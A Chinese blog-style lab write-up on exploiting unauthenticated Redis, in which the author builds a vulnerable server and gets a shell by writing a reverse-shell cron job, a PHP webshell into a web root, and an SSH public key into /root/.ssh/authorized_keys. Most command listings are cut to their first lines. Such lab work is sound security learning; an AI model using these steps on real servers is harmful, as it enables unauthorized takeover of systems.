redis未授权访问漏洞利用
简介
Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。
Redis默认情况下会绑定在0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。
漏洞危害
攻击者可通过redis命令向目标服务器写入任务计划来反弹shell,完成服务器的控制。
攻击者可通过redis命令向网站目录写入webshell,完成对目标网站服务器的初步控制;
最严重的情况,如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
下载redis :wget http://download.redis.io/releases/redis-4.0.11.tar.gz
nmap发现端口是过滤状态,所以还得把防火墙关闭。
在这里可以了解一下iptables、selinux、firewalld三个防火墙之间的区别。
1 | systemctl stop firewalld.service #临时关闭防火墙 |
已经关闭防火墙,然后再探测一下端口,6379已经是开启的状态了
在这儿说一个坑,Ubuntu真的拉胯,我关了防火墙,端口状态还是filtered状态,真的大无语,在Ubuntu上配置redis环境都花了大半天,不想再入坑Ubuntu,以后都只用Centos了(现在用的是Centos,Ubuntu上环境我没搭建成功)。
用redis工具直接进行连接
1 | redis-cli.exe -h IP -p 端口 |
我这儿没有指定-p参数端口,因为我这儿用的就是默认的端口6379
解决办法:在redis.conf文件里
1 | 把 bind 127.0.0.1 注释掉,在前面加#就行 |
然后使用这个配置文件去启动,自己制定一下路径
1 | redis-cli [redis.conf的路径] |
然后还是报错,他喵的,已经关了保护模式了,已经没有密码了,又显示NOAUTH Authentication required
解决办法:使用auth命令认证一下
1 | auth "" |
因为我错把密码设置成了:requirepass “” ,所以如果你要搭建未授权环境,把原来的含有requirepass这一行给注释掉,然后自己添加一行
1 | requirepas #没有设置密码 |
这样就可以未授权访问了。
这里介绍三种方法GetShell
一、计划任务反弹shell
连接上之后呢按顺序执行以下命令
1 | config set dir /var/spool/cron #设置计划任务路径 |
然后这里反弹的时候可能会等得比较久一点
正常 情况下VPS监听4459端口 就能收到shell。
可以验证一下计划任务是否被添加了,在redis机器上执行 crontab -l 命令,查看本机计划任务
后面也是成功拿到了Shell。
二、写Webshell
这个方法有个条件,目标机器要开了http服务才行,且你要知道网站路径。
所以我就用phpstudy搭建了个web服务,用来解析执行php,因为我打算写php的马,所以是php环境。
路径为:/www/admin/localhost_80/wwwroot
然后redis远程连接,开始写Shell,然后我发现redis又连接不上去了,他喵的,6379端口又是filtered状态了,我再次关闭防火墙都不管用,后来才发现是小皮面板自带的防火墙打开了的,全都给关了
继续写Webshell
1 | config set dir /www/admin/localhost_80/wwwroot #网站目录 |
拼接访问
蚁剑连接一手,这就进来了
不过权限低,www权限。
三、写公钥
这个条件要双方都开启了SSH服务
1 | systemctl restart sshd #重启ssh服务 |
1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyMB1gj9rOnsFyaGs6EX8xIBqdaslEoyFLfv6WxJvif/rPssQkultYqECl96Lcv4pbcB+aSu/RItDA8OQmpkion8CMFJNQIu2U5QkkhdRxlbxxUypbx4XzYb/c5m2Xj8DpBoN0xc6Ah2OsuKNsm4BCjbm/q8LVQKUBdxuiSPtyezBJ5veLnuyv0Xubh222xWYrN5kSyucHMc2grOm75sL1VXlSvk1oc/Kl7yS9U2qVjIFG53qq5H0O5EBHqH5ascLuf50kWnif3CHBCHJauIfBO+1EC/THfiv1hRojDgxoh5/hst7xuAY6B0Utt1z8JIYsnl4iDxE62ivhyVUNfpjiANLCr0nvz8Doxl8xKd9EsP2XUtWQrDjqsoymjcYwbz5ZqlN/wfK6PFYllU6Z27GmZQtKSIApFQTsaJNueemDsHnB8eZ+0gNJHYRdZiuoOts5gTLvQ/zIPmheizLQC2VYzatKHj/APBEpXzyZd8edP27H6ltF6MTnGX5Oek4anaE= root@kali |
如果你用cat命令查看这个文件内容乱码,可以用下面命令保存到txt文件去
1 | (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt |
如果目标机器/root下没有.ssh目录,就自己创建一个。
mkdir /root/.ssh
然后再连上redis,安装下面命令依次执行。
1 | config set dir /root/.ssh/ |
然后kali使用私钥登录就能免密登录了。
1 | ssh -i id_sra root@192.168.0.146 |
其中写公钥免密登录这里踩了很大的坑,明明公钥已经写进去了,但是最终使用私钥连接还是提示我需要输入密码,然后去网上找办法解决,一通设置过后还是不能免密登录,最后索性重装了SSH服务,然后重新写公钥,使用私钥就直接免密登录上去了,所以千万不要手贱乱改配置文件。
经过和大佬的交流,对比了SSH前后配置文件,发现我的公钥路径设置错了。
.ssh/authorized_keys才是正确的路径。
四、主从复制
来源vulfocus靶场
1 | 参考文章链接 |